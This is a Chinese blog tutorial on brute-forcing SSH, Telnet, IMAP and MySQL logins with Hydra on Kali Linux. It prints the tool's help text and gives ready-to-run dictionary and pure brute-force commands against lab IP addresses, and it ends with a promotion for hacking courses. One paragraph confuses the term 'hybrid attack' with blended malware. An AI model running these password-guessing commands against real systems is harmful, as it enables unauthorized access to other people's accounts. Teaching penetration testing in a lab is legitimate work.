黑客新型攻击—kali渗透测试身份认证攻击

宿迁名人健身

新型攻击屡见不鲜，身份认证让黑客闯关
随着云计算、物联网和边缘计算的普及，黑客对用户的攻击无孔不入，问题是越来越棘手，不少组织都把防护中心放在沙盒、加密上，却忽视了身份认证的重要性。曾有客户在互联网上将过期数据库保持开放状态，并且未开启身份认证，导致数以万计的云数据库遭到劫持，并遭遇勒索。


身份认证与访问管理(IAM)是管理数字身份并控制资源访问的一种方式，以保障资源被访问时的安全性，IT系统会依此对信息类资产进行统一的管控和审计。
想要规避掉这个问题，光是靠密码的复杂性不能解决根本问题，而且所谓的“猜密码”也并不是黑客获取访问权限的唯一手段。例如他们可以通过钓鱼邮件来盗窃凭证，这也是网络攻击中最常用的手段之一，采用基于域的邮件验证、报告和一致性技术的企业并不是绝大多数。
今天我们的主题就是看看黑客是如何操作，怎样利用kali实现身份认证攻击，简单的说一说几种方法
1、 简单网络服务认证的攻击
网络上很多常见的应用都采用了密码认证的方式，如SSH、Telnet、FTP等。这些应用被广泛应用在各种网络设备上，如果这些认证模式出现问题，就意味着网络中的大量设备将会沦陷。
针对这些常见的网络服务认证，我们可以采用一种“暴力破解”的方法。就是把所有可能的密码都尝试一遍。一般有以下3种思路：
（1）纯字典攻击
这种思路最简单，攻击者只需要利用攻击工具将用户名和字典中的密码组合起来，一个一个尝试即可。破解成功的概率与选用的字典有很大关系。
（2）混合攻击
混合攻击依靠一定的算法对字典中的单词进行处理之后再使用。一个最简单的算法就是在这些单词前面或者后面添加一些常见的数字，如一个单词“test”，经过算法处理之后就会变成“test1”“test2”……“test1981” “test19840123”等。
其是利用多种方法传播和感染其他系统的有害程序，可能兼有计算机病毒、蠕虫、木马或僵尸网络等多种特征。混合攻击程序事件也可以是一系列有害程序综合作用的结果，例如，一个计算机病毒或蠕虫在侵入系统后安装木马程序等。
（3）完全暴力攻击
这是一种最为“粗暴”的攻击方式，实际上这种方式并不需要字典，而是由攻击工具将所有的密码穷举出来。这种攻击方式通常需要很长时间，也是最不可行的一种方式。
下图给出了一种使用SSL服务的身份验证界面， IP地址为***.***.**.***的服务器上提供了SSL服务，这个服务的拥有者将密码提供给合法用户，用户通过密码认证之后就可以访问里面的资源了。


下面讲解针对这种网络身份验证的渗透过程，这里我们使用Hydra作为渗透攻击。Hydra的本意为希腊神话中的九头蛇，是一款非常强大的网络服务密码破解工具。
Hydra支持30多种常见的网络服务或者协议的破解，其中包括ARP、Cisco AAA验证、FTP、HTTP、POP3、SNMP、SSH、Telnet等。
在Kali中我们可以在Applications 中选择“05-Password Attacks”–> “Online Attacks”–>“Hydra”来启动这个工具，如下图所示：


Hydra是一款命令行工具，它的命令格式如下：
└─# hydra
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -m OPT    options specific for a module, see -U output for information
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp http-{head|get|post} http-{get|post}-form http-proxy http-proxy-urlenum icq imap irc ldap2 ldap3[-{cram|digest}md5] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3 postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs.
Licensed under AGPL v3.0. The newest version is always available at;
https://github.com/vanhauser-thc/thc-hydra
Please don't use in military or secret service organizations, or for illegal
purposes. (This is a wish and non-binding - most such people do not care about
laws and ethics anyway - and tell themselves they are one of the good ones.)

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1使用Kali自带的一个包含弱口令的字典small.txt，它位于/usr/share/wordlist/dirb目录中。假设事先已经知道用户名为kali，只需要破解密码：
┌──(root kali)-[~]
└─#hydra 192.168.68.242 ssh -l kali -P /usr/share/wordlists/dirb/small.txt -t 6 -v -f其中- P用来指明使用的字典为small.txt，破解时需要用户名为liuxiaowei（假设事先已知），-t指明破解时的线程数，- v显示详细信息，-f表示成功找到一个密码后停止。下图所示给出了Hydra执行攻击的具体过程：


如果成功破解出了用户名和密码，结果将会以绿色显示（本人的操作背景就是绿色，所以不明显），Hydra得到的结果如下图所示


接下来，我们尝试不使用字典，而使用完全暴力破解的方式。假设我们知道密码为4位，而且都为字符，那么我们可以用4:4:1来表示所有的长度为4位的纯字符密码。因为这种破解方式很慢，所以我们将线程设置为6（数值不能过大），破解命令如下：
┌──(root kali)-[~]
└─#hydra 192.168.68.125 ssh -l kali -x 4:4:a -t 6 -v -fHydra执行完全暴力破解攻击的具体过程如下图所示：


在攻击的最后，我们得到了可以登录的用户名和密码。但是这个过程十分漫长，因为不使用字典，单纯暴力破解是一件极为困难的事情。其他常见协议的破解方式都大同小异，只有Web页面都区别比较大。下面列出常见的协议破解命令：
#破解Telnet
┌──(root kali)-[~]
└─# hydra 目标ip地址 telnet -l 用户名 -P 密码字典 -s 23
# 破解IMAP
┌──(root kali)-[~]
└─# hydra - L 用户名字典 -P 密码字典 目标地址 service imap
# 破解MySQL
┌──(root kali)-[~]
└─# hydra 目标ip地址 mysql -l root -P 密码文件在这里要提醒：无论是云计算还是物联网，基于身份认证的安全防范都在引起重视，否则让黑客盗取了“身份”，就相当于获取了控制权。
当然，如果你对网络安全行业比较感兴趣，想要系统的了解、学习一下，可以参考下方文章
关注公众号“学神来啦”可了解更多网络安全、kali渗透、linux、等小知识
也可扫描下方二维码，资讯获取相应课程学习资料，一马当先做一次“黑客”

远海星光

路过